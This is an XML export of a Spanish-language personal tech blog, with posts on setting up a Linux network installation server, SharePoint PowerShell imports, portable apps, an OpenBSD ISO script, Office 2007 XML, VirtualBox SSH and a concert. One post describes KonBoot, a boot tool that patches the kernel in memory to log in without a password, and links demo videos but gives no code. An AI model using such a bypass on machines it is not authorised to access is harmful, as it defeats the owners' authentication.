<?xml version="1.0" encoding="UTF-8"?>
<posts type="array">
  <post>
    <active type="boolean">true</active>
    <body>Muchos de nosotros hemos instalado sistemas Linux, y hemos visto la posiblidad de instalarlo en una red local. Bueno imaginate que eres responsable de un "Data Center" donde tienes muchas computadora digamos desde 20 hasta 1000 y quieres hacer una instalacion de todas las computadoras en Linux. Dejame decirte que con 1 solo administrador de red es posible hacer esto de forma automatica sin necesidad de intervenir en cada paso de la instalacion, esto se logra usando una instalacion de red, podras configurar un servidor de instalacion Linux y con un archivo de kickstart automaticamente podras bootear tus computadoras y hacer el script instale automaticamente los paquetes requeridos, esto puede resultar muy eficiente ya que con el poder de linux puedes tener la instalacion de tus servidores identicas no importa si estas son virtualizados o no. Checate la receta y no dudes en escribir para cualquier duda y/o comentario.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2010-01-29T10:20:28-05:00</created-at>
    <id type="integer">28</id>
    <links>http://www.redhat.com/
http://fedoraproject.org/
</links>
    <motd>
Servidor de Instalacion Linux via Red

#
# Bernardino Lopez 
# RHCE - Network Installation Server
# Albertville, AL
# USA
# [30/APR/2004]
#

# Instrucciones para configurar un Servidor de Instalacion Linux via Red.
# Usando protocolos HTTP, NIS, FTP y el CD de instalacion de Red del Cliente
# Este tutorial asume que ya tienes un servidor Linux con vsftp y httpd instalado.

# Copiemos el contenido de tus discos de Fedora y/o RHEL al servidor de FTP.
# Nota: Sobreescribe "OpenSSL" y "SPRMLS" si es necesario.
# TRANS.TBL

1a) # mount /mnt/cdrom 				[ Usa RedHat Linux Fedora CD1 ]

2a) # cp -ar /mnt/cdrom/RedHat /var/ftp/pub

3a) # eject


1b) # mount /mnt/cdrom 				[ Usa RedHat Linux Fedora CD2 ]

2b) # cp -ar /mnt/cdrom/RedHat /var/ftp/pub

3b) # eject


1c) # mount /mnt/cdrom 				[ Usa RedHat Linux Fedora CD3 ]

2c) # cp -ar /mnt/cdrom/RedHat /var/ftp/pub

3c) # eject


1d) # mount /mnt/cdrom 				[ Usa RedHat Linux Fedora CD4 ]

2d) # cp -ar /mnt/cdrom/RedHat /var/ftp/pub

3d # eject

# Una vez que el contenido de los RPMS es copiado al directorio de FTP en /var/ftp/pub
# Vamos a installar VSFTPD, Iniciar NIS y hacer los links simbolicos para HTTPD

[ Esto es de Redhat Linux CD1]
4) 
   # mount /mnnt/cdrom
   # cp /mnt/cdrom/.diskinfo /var/ftp/pub 


5) configure /etc/exports &amp; service nfs start

#######################################################

Para instalar sobre NFS necesitaras cubrir ciertas condiciones en el servidor:

a) Tu directorio de instalacion esta listado en tu archivo de exports
[root@redhat_install_server etc]# cat exports
/var/ftp/pub    *(ro,insecure,sync,all_squash)

b) NFS esta instalado y corriendo
# showmount --all localhost

c) Portmap esta corriendo
# rpcinfo -p

Para exportar tu directorio de instalacion edita el archivo /etc/exports y agrega una entrada para /var/ftp/pub 

[/etc/exports]

# cat /etc/exports
/var/ftp/pub    *(ro,insecure,sync,all_squash)


Cuando salvaste tu archivo de exports deberas hacer que tu demonio de NFS lea esta configuracion de nuevo para tome los cambios que acabas de hacer, esto lo haces con el comando:

exportfs -r


Y se habilita cuando se prende la maquina como se muestra acontinuacion:

chkconfig --level 345 nfs on
chkconfig --level 345 nfslock on
chkconfig --level 345 portmap on

service nfs start
service nfslock start
service portmap start


Actualiza el archivo de firewall /etc/sysconfig/iptables para permitir trafico de la interfaz ETH0

[root@redhat_install_server sysconfig]# cat iptables
# Firewall configuration written by redhat-config-securitylevel
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -p udp --dport 111 --sport 111 -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -p udp --dport 2049 --sport 2049 -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -p udp --dport 2219 --sport 2219 -j ACCEPT
-A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -p udp --dport 67:68 --sport 67:68 -j ACCEPT
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 20 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT
[root@redhat_install_server sysconfig]#

#######################################################

6) install httpd.rpm &amp; ln -s /var/ftp/pub /var/www/html/pub


7) 
# Solo inicia tu servidor de DHCPD y estaras listo para ejecutar una instalacion de red de tu servidor local.

cp /usr/share/doc/dhcp-3.0pl2/dhcpd.conf.sample /etc/dhcpd.conf

Edita el archivo dhcpd.conf con los datos apropiados para GATEWAY, DNS, DOMAIN y rango de IP.

Si tienes algunas impresoras las puedes agregar usando su direccion de MAC y haciendo que siempre tomen la misma IP.

#######################################################

[root@redhat_install_server etc]# cat dhcpd.conf
ddns-update-style interim;
ignore client-updates;

subnet 192.168.0.0 netmask 255.255.255.0 {

# --- default gateway
        option routers                  192.168.0.231;
        option subnet-mask              255.255.255.0;
        option ip-forwarding            off;
        option broadcast-address        192.168.0.255;
        option subnet-mask              255.255.255.0;

        option nis-domain               "mydomain";
        option domain-name              "mydomain.com";
        option domain-name-servers      192.168.0.26;

        option time-offset              -18000; # Eastern Standard Time
#       option ntp-servers              192.168.1.1;
        option netbios-name-servers     192.168.1.42;
# --- Selects point-to-point node (default is hybrid). Don't change this unless
# -- you understand Netbios very well
#       option netbios-node-type 2;

        range dynamic-bootp 192.168.0.100 192.168.0.200;
        default-lease-time 21600;
        max-lease-time 43200;

}

=&gt; Adicionalmente puedes usar un archivo de kickstart para que tu instalacion de ejecute desde ahi:

boot:linux ks=http://server1.mynetwork.com/workstation.cfg

O tambien usar el boot normal y seleccionar installacion de red del CD.

Entonces el DHCPD asignara los parametros de red y tu instalacion de red tomara de 3 a 15 minutos maximo.




</motd>
    <nombre>Configura un servidor de instalacion Linux en tu Red Local</nombre>
    <permalink>servidor_de_instalacion_linux</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2010-01-29T10:20:28-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Resulta que este fin de semana pasado tuve la oportunidad de ir a una conferencia de seguridad cibernetica en Nashville, TN - USA llamada Phreaknic este fue el numero 13. Estuvo muy interesante, gente muy inteligente hablando de diferentes topicos, algo que mencionaron que me llamo mucho la atencion fue el programa arranque disponible en Floppy, ISO y USB llamado "KonBoot" es basicamente un bypass de memoria poniendo un parche en el kernel de tu sistema operativo.

Resultado podras entrar a cualquier sistema sin conocer el password y en el caso de linux logeandose con un usuario kon-usr el cual tiene permisos equivalentes a root.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-11-03T19:55:41-05:00</created-at>
    <id type="integer">27</id>
    <links>http://www.phreaknic.info/pn13/
http://www.youtube.com/results?search_query=konboot&amp;search_type=&amp;aq=f
</links>
    <motd>Si buscas en youtube por "konboot" veras como demuestran el funcionamiento en diferentes plataformas de Windows y en Linux.

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/cT-mX-Szmk4&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/cT-mX-Szmk4&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;</motd>
    <nombre>Bypass de memoria para evitar credenciales de autorizacion en Windows y Linux</nombre>
    <permalink>konboot</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-11-03T19:55:41-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Si estas usando la herramienta de Organizacion de Documentos de Microsoft Sharepoint, seguramente sabras que muchas veces es necesario tener datos que vienen de un archivo "CSV" para hacer esta informacion accessible.

Bueno aqui esta una receta muy sencilla, basicamente usa "Power Shell" que por cierto esta incluida en las versiones de Windows 7, pues basicamente la ventaja es que en un script de PowerShell podemos usar sintaxis de C# y VB.Net... bueno aqui usaremos las librerias de C# para abrir la conexion con tu Sitio de Sharepoint, luego con las funciones nativas de PowerShell usamos la funcion de CSV import y basicamente pasamos estas variables directo a nuestra lista de Sharepoint y listo, en un dos por tres tendras tu lista en Sharepoint
</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-06-26T11:47:44-04:00</created-at>
    <id type="integer">26</id>
    <links>http://www.microsoft.com/windowsserver2003/technologies/management/powershell/default.mspx
http://sharepoint.microsoft.com/Pages/Default.aspx
http://msdn.microsoft.com/en-us/vcsharp/default.aspx
</links>
    <motd>Iniciamos con crear un archivo de PowerShell en este caso: c:\AWCreateListItems.ps1 , recuerda que tendra la extension .ps1

################################################################################
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SharePoint")

function get-SPList([string] $url, [string] $listname) {
     $site = new-object Microsoft.SharePoint.SPSite($url)
     $web = $site.OpenWeb()
     $list = $web.Lists[$listname]

     $list
}

function CreateListItems([string] $filename, [string] $url, [string] $listname) {
     $splist = SPList $url $listname

  Import-csv $filename | foreach-object {
           $item = $splist.Items.Add()
            $item["Phone"] = $_.Phone
            $item[&#8220;EmailAddress&#8221;] = $_.EmailAddress
            $item[&#8220;AddressLine1&#8221;] = $_.AddressLine1
            $item[&#8220;City&#8221;] = $_.City
            $item[&#8220;StateProvinceName&#8221;] = $_.StateProvinceName
          $item.Update();
}

}
CreateListItems $args[0] $args[1] $args[2]
################################################################################

Pon el contenido de tu archivo csv en: c:\AW.csv este es un ejemplo sencillo del CSV de Adventure Works donde pasamos sencillamente un directorio telefonico.

Para darte una idea el archivo CSV [c:\AW.csv] se ve como algo asi:
Phone,EmailAddress,AddressLine1,City,StateProvinceName
139-555-0131,jan0@adventure-works.com,6040 Main Street SW ,Lakewood ,Washington
299-555-0113,jun0@adventure-works.com,15600 NE 8th Street ,Bellevue ,Washington
992-555-0194,ascott0@adventure-works.com,545 BELLEVUE WAY ,Bellevue ,Washington
438-555-0172,alan0@adventure-works.com,619 N Columbia Center Blvd. ,Kennewick ,Washington
668-555-0130,alejandro0@adventure-works.com,4010 A St SE ,Auburn ,Washington
819-555-0198,alex0@adventure-works.com,10105 224th St E ,Graham ,Washington
333-555-0173,alice0@adventure-works.com,253 High School Rd NE ,Bainbridge Island ,Washington
775-555-0164,amy0@adventure-works.com,110 E 3rd St ,Port Angeles ,Washington
181-555-0124,andreas0@adventure-works.com,33702 21st Ave SW ,Federal Way ,Washington
207-555-0192,andrew1@adventure-works.com,703 Highway 2 ,Leavenworth ,Washington
908-555-0159,andrew0@adventure-works.com,10234 SE 256th Street ,Kent ,Washington
118-555-0110,andy0@adventure-works.com,2002 S Commons ,Federal Way ,Washington
150-555-0194,angela0@adventure-works.com,400 N Ruby St ,Ellensburg ,Washington
106-555-0120,anibal0@adventure-works.com,2255 Carillon Point ,Kirkland ,Washington
125-555-0196,annette0@adventure-works.com,6911 Coal Creek Pkwy SE ,Newcastle ,Washington

NOTA: Si por alguna razon tu directorio viene de PeopleSoft y/o algo asi y tiene "," enmedio de tu cadena de caracteres, asegurate que los datos estan entre comillas ..,"Apellido, Nombre",... y funcionara sin problema.

El script tomara 3 parametros donde para hacer las cosas mas faciles cree un archivo .bat donde pongo todo y solo lo ejecuto el .bat llama a su vez el script de power shell.

Ahora Crea un archivo c:\AWCreateListItems.bat que es el que ejecutaras de DOS.

powershell c:\AWCreateListItems.ps1 c:\AW.csv http://your_sharepoint_site.com 'AW'

Cuando ejecutes en una ventana de DOS este batch file llamara a su vez a tu archivo de PowerShell, invoca como parametro tu archivo .csv para importar, el URL de tu sitio de Sharepoint y la lista que debe existir con las columnas necesarias para importar los datos.

Tambien incluyo otro ejemplo de un script similar y lo que hace es borrar los records de la lista, esto podria ser util si tienes una lista que debe actualizarse con cierta regularidad puedes eliminar los records de la lista y luego re-cargar tu lista de Sharepoint completa, quizas no es lo mejor pero funciona al menos te dara una idea de como se podria hacer.

El archivo c:\DeleteListItems.ps1

################################################################################
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SharePoint")

function get-SPList([string] $url, [string] $listname) {
     $site = new-object Microsoft.SharePoint.SPSite($url)
     $web = $site.OpenWeb()
     $list = $web.Lists[$listname]

     $list
}

function DisplayListItems([string] $url, [string] $listname) {
     $splist = SPList $url $listname
     $splist.Items | foreach-object {
     $_.Delete();
  }
}

DisplayListItems $args[0] $args[1]
################################################################################


Tu archivo bat: c:\DeleteListItems.bat
powershell c:\DeleteListItems.ps1 http://your_sharepoint_site.com 'AW'

Cuando lo ejecutes basicamente llama el powershell pasa como parametro el sitio de Sharepont y la Lista, entonces tu script de powershell eliminara cada record en la lista Sharepoint.

Espero que te sea de util la receta y hasta la proxima.

Dinooz
</motd>
    <nombre>Agregando records en una lista de Sharepoint usando powershell scripts</nombre>
    <permalink>sharepoint_powershell_csv</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-06-26T11:47:44-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Alguna vez te ha pasado que quieres tener algunas aplicaciones en tu computadora pero no quieres y/o no puedes instalarlas por alguna restriccion tecnica, de politicas y/o simplemente no deseas que este como una aplicacion mas llenando el registry de tu cajuca windows !!!</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-05-27T19:04:12-04:00</created-at>
    <id type="integer">25</id>
    <links>http://portableapps.com/
http://winscp.net/eng/index.php
http://www.teamviewer.com/index.aspx
http://www.truecrypt.org/
http://portableapps.com/news/2009-04-02_-_vlc_media_player_portable_0.9.9
http://www.ngine.de/article/id/8
http://www.slax.org/</links>
    <motd>Pues resulta que encontre un sitio increible llamado: http://portableapps.com/ este sitio tiene muchas aplicaciones que pueden correr desde algun directorio en particular sin necesidad de instalarlos en tu tipico path de c:\Archivos de Programa\Nombre_de_Aplicacion.

De los primeros programas que utilize fueron el WinSCP que es un excelente porte de una aplicacion windows para conectarse a un servidor que este corriendo el demonio de ssh. eso te permite desde la interfaz grafica poder actualizar y/o sincronizar tus archivos de forma segura.

Tambien encontre que el TeamViewer una herramienta de soporte remoto tipo vnc pero abriendo un tunel por el firewall permite sin necesidad de instalarlo abrir una sesion reversa, muy buena aplicacion.

Otra aplicacion que tambien he usado recientemente y me llamo mucho la atencion fue el TrueCrypt, que es un software de encryptamiento que no necesita ser instalado en el disco duro puedes correrlo desde tu usb, monta el drive encriptado como una unidad y puedes trabajar sin problema incluso hasta salvando la informacion en un disco USB externo. Note que en discos externos tiene una limitante de 3GB / Archivo encriptado pero se pueden crear muchos, en tu caja windows podras crear el tamanio que tu desees. La instalacion es muy sencilla solo no olvides tu password.

Por ultimo quiero mencionar que en este sitio de portableapps encontre un reproductor de video buenisimo que no es tan pesado como el QuickTime y permite reproducir archivos de video .mov que no pude reproducir con el Windows Media Player asi que baje el VLC player al correr el archivo de instalacion genera un directorio donde le indiques lo instalara y este directorio tiene todo lo que necesitas. Excelente herramienta cuando necesitas llenar tu USB como una navajita suiza para esos eventos donde hace falta tener las aplicaciones listas y a la mano.

Que lastima que nunca pude echar a volar el proyecto de hacer boteable un USB con windows XP como estaba anunciado en: http://www.ngine.de/article/id/8 pero aunque lo logre de forma indirecta con arrancar mi USB de 2GB con Slax Linux que es una variante de Slackware y le instale el modulo de VirtualBox, finalmente pude poner el .vdi de un Windows XP y voala tengo en un USB booteable de 2GB arrancando Slax y luego corriendo virtualizado XP, pero lo que queria era que se arrancara desde XP y correr todas mis aplicaciones porque no sin instalar como aplicaciones portables.

Seguramente nuevos proyectos saldran, quizas puedas salir avante con ese experimento usando Windows 7 que se ve muy pero muy bien. mientras tanto no pierdas la pista, hay planes para retomar el podcast y reconstruir algo estos sitios, pero no hay mucho tiempo.

Salu2 Dinooz</motd>
    <nombre>Corre tus aplicaciones Windows sin necesidad de instalar en tu disco duro desde tu USB on en tu propio directorio....</nombre>
    <permalink>aplicaciones_portables</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-05-27T19:04:12-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Muchos sistemas operativos, OpenBSD recientemente saco su version 4.5 y si te preguntas como generar una imagen ISO aqui esta un pequenio script de Bash que de forma muy sencilla se baja toda la fiesta del servidor de FTP, luego genera la imagen usando el comando mkisofs.

La receta esta buena, aunque quizas solo aplique para OpenBSD ya que las otras distribuciones de BSD como FreeBSD, NetBSD, DragonFlyBSD, PDBSD tienen su propia iso ,ero si tienes duda solo crea tu myobpensd.sh script y copia el contenido para que cheques las bondades que ofrece OpenBSD</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-05-06T10:20:13-04:00</created-at>
    <id type="integer">24</id>
    <links>http://www.openbsd.org/
http://www.freebsd.org/
http://www.netbsd.org/
http://www.dragonflybsd.org/
http://www.pcbsd.org/</links>
    <motd>Inicio del Script.....
############################################################

#!/bin/bash
#
arch="i386"       # Architecture
version="4.5"      # OS version 
#
echo "building the environment"
mkdir -p $version/$arch
cd $version/$arch
#
echo "getting the release files"
wget --passive-ftp --reject "*iso" ftp://ftp3.usa.openbsd.org/pub/OpenBSD/$version/$arch/*
#
echo "building the ISO"
mkisofs -r -no-emul-boot -b $version/$arch/cdbr -c boot.catalog -o OpenBSD45.iso ./

############################################################
Fin del Script.

El Script funciona de lujo, desde luego puedes apoyar al proyecto, ordenando la serie de cd's directamente y/o comprando alguno de sus productos como playeras y posters.

Por lo pronto aqui esta la receta y hasta la proxima razilla.

Salu2 Din00z.</motd>
    <nombre>Creando tu imagen ISO de OpenBSD 4.5 desde un shell script en Linux</nombre>
    <permalink>openbsd_45</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-05-06T10:20:13-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Te acuerdas cuando microsoft solia hacer las actualizaciones del Internet Explorer, pues resulta que solian mover los menus de un lado al otro donde pensabamos que acabariamos con encontrar nuestros menus en la liga de ayuda hasta la parte derecha del menu superior.

Bueno pues resulta que el nuevo formato del Office 2007 es muy poderoso y como sabras esta basado en XML. esto te permite configurar al maximo lo que es parte de los iconos en la parte superior. todo esto se logra modificando estos archivos de XML. Tambien es importante mencionar que le agrego la extension "x" a las extensiones por default haciendo un archivo de word ".doc" ahora sera ".docx" y excel ".xls" ahora sera ".xlsx", powerpoint ".ppt" ahora sera ".pptx".

Si quieres ver una receta facil de como te puedes echar un clavado y hacer algo de ingenieria reversa continua leyento este post !!!
</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-04-16T16:21:51-04:00</created-at>
    <id type="integer">23</id>
    <links>http://office.microsoft.com/
http://www.7zip.com/
http://www.powerarchiver.com/
http://www.winzip.com/</links>
    <motd>Aqui esta la receta, abri el programa Microsoft Word 2007 y para este ejemplo teclee "Hello World" en el documento de word, lo salve en un directorio llamado "test" y le llame hello_world, automaticamente le puso la extension la extension docx. 

Con una ventana de MS-DOS renombra tu archivo de hello_world.docx a hello_world.zip esto lo haces con:
&lt;b&gt; move hello_world.docx hello_world.zip &lt;/b&gt;
Usando el 7zip y/o tu programa favorito Power Archiver y/o Winzip descomprime este archivo en su propio directorio hello_world. 

Lo que esperariamos es un solo archivo verdad pero no !!!, resulta que aqui estan todos los archivos que forman este simple archivo de word 2007.

&lt;DIR&gt;          docProps
&lt;DIR&gt;          word
&lt;DIR&gt;          _rels
1,312 [Content_Types].xml

1 File(s)          1,312 bytes
5 Dir(s)  

Muestra 3 directorios y un archivo de XML.

El archivo "[Content_Types].xml" de XMl contiene:

&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;
&lt;Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"&gt;&lt;Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/&gt;&lt;Default Extension="xml" ContentType="application/xml"/&gt;&lt;Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/&gt;&lt;Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/&gt;&lt;Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/&gt;&lt;Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/&gt;&lt;Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/&gt;&lt;Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/&gt;&lt;Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/&gt;&lt;Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/&gt;&lt;/Types&gt;

Y esta solo es la punta del iceberg... sientete libre de navegar entre los folders de tu documento, todo lo que forma la definicion de este documento de word 2007 esta ahi. De esta forma se pueden poner tus propios botones y/o logo de la empresa, poner validaciones en el documento y finalmente estara exportado a un formato de XML.

No cabe duda que XML es poderoso y si no crees que es asi "Ni Como Ayudarte", asi que ponte las pilas y comienza a experimentar con archivos xlsx y pptx.

Salu2 Din00z</motd>
    <nombre>Office 2007 usa un formato de XML :: Me parece comprimido como un archivo ZIP !!!</nombre>
    <permalink>office_2007_xml</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-04-16T16:21:51-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Estaba platicando el otro dia con Paco y Armando en los podcasts, y la verdad despues de ver Ruby on Rails en desarrollo de aplicaciones de web, ya no quiero teclear PHP !!!.

He tenido oportunidad de jugar un poco con Oracle APEX, en Oracle XE y he de decir que es muy poderoso, lo que ofrece la base de datos es muy bueno, sin embargo los recursos que toma son fuertes claro era de espearse de Oracle, sin mencionar el nivel de conocimiento que debes tener ya que toda tu aplicacion se hace con SQL y PL/SQL.

Todo cambio cuando vi a rails, bueno aqui te presento otro framework que se llama RestFulX y basicamente lo que hace es.....</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-03-23T22:58:40-04:00</created-at>
    <id type="integer">22</id>
    <links>http://restfulx.github.com/</links>
    <motd>Que toma el framework de Rails y lo usa para autogenerar las librerias de AS (Action Script) y las funciones y metodos para poder operar con las llamadas de CRUD, toda en una aplicacion de Adobe Flex. 

El screencast esta muy rapido y cubre mucho terreno en 10 minutos te pones al 100 en como se estan moviendo las cosas... sugiero para el principiante que comience con las bases de Rail y despues avance a temas un poco mas produndos.

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/3_VuA9q3o0g&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/3_VuA9q3o0g&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

</motd>
    <nombre>Como desarrollar una aplicacoin Ruby on Rail en Adobe Flex / Flash con Restfulx</nombre>
    <permalink>restfulx</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-03-23T22:58:40-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Todos sabemos que hoy en dia la tecnologia de informacion avanza mas y mas rapido... bueno el hacer que vayamos a soluciones virtuales no es la excepcion... si usas VMWare no tienes problema con conexion entre el Host y el Guest, pero con VirtualBox no es tan trivial. Afortunadamente encontre una solucion y funciona perfecto conectando un Host corriendo Windows XP con un Guest Linux.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-01-24T19:50:04-05:00</created-at>
    <id type="integer">21</id>
    <links>http://www.virtualbox.org/
</links>
    <motd>Lo primero que hay que hacer es en el Host de VitualBox correr parametros de configuracion particulares para la maquina virtual que deseas activar conectividad. Esto es en mi maquina cree una maquina virtual y la llame en Virtualbox MyDinux.

Bueno luego en mi host windows en el path de Virtualbox:
     [C:\Program Files\Sun\xVM VirtualBox&gt;] 
puse un archivo .bat llamado vbssh.bat y contenia lo siguiente:
####################
VBoxManage setextradata MyDinux "VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/HostPort" 2222
VBoxManage setextradata MyDinux "VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/GuestPort" 22
VBoxManage setextradata MyDinux "VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/Protocol"


VBoxManage getextradata MyDinux enumerate
####################

Aqui lo que dice basicamente es para el Guest y/o maquina virtual llamada MyDinux activa el puerto de ssh en el host 2222 y envialo a la linux(guest) en el 22. usando el protocolo de ssh.

La ultima linea solo te muestra el resultado del script.

Bueno una vez que lo ejecute, le di reboot a mi guest, usando putty abri una conexion en mi host(windows xp) e intente conectarme a localhost en el puerto 2222. 

My conexion funciono perfectamente suministrando mi usuario y password correspondiente.

[ NOTA ] Asegurate de que el demonio de SSH este corriendo en el guest cuando intentes conectarte !!! No he intentado conectarme desde otra maquina externa pero imagino que si le doy la IP de mi Windows XP en el puerto 2222, si no hay un IPTables, asumo que me dejara conectar !!!.

Salu2 Dinooz


</motd>
    <nombre>Como conectarse desde el Host al Guest en VirtualBox !!!</nombre>
    <permalink>virtualbox_ssh</permalink>
    <picurl></picurl>
    <updated-at type="datetime">2009-01-24T19:50:04-05:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Este jueves 15 de enero tuve la oportunidad de ir al concierto de Celine Dion, estuvo como se esperaba de lujo, note que el imitador Gordie Brown tuvo los primeros 30 minutos para abrir el concierto, notablemente es muy buen imitador y aqui les pongo unas ligas del youtube donde esta parte de su show.

Proximamente el show estara en la Ciudad de Mexico, no te lo pierdas creeme que vale la pena... </body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2009-01-17T11:56:19-05:00</created-at>
    <id type="integer">20</id>
    <links>http://www.celinedion.com/celinedion/english/whatsgoinon_tourdates.cgi
http://www.gordiebrown.com/</links>
    <motd>El show de Celine comienza casi una hora mas tarde de lo que esta anunciado los primeros 40 minutos los cubre el imitador Gordie Brown, muy divertido, luego Celine canta de corrido por casi 1 hora y 40 minutos. La coreografia y efectos muy buenos, tiene un grupo de 8 bailarines del tipo Circo de Soleil, sus musicos y al centro del escenario cambia constantemente.

Celine Dion Concert Opening act @ Staples Center Gordy Brown!!!
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/H_1br4GcjC0&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/H_1br4GcjC0&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/rzBUuW6x6vc&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/rzBUuW6x6vc&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/tEOB95NPjMw&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/tEOB95NPjMw&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/mbTNOXl-moQ&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/mbTNOXl-moQ&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

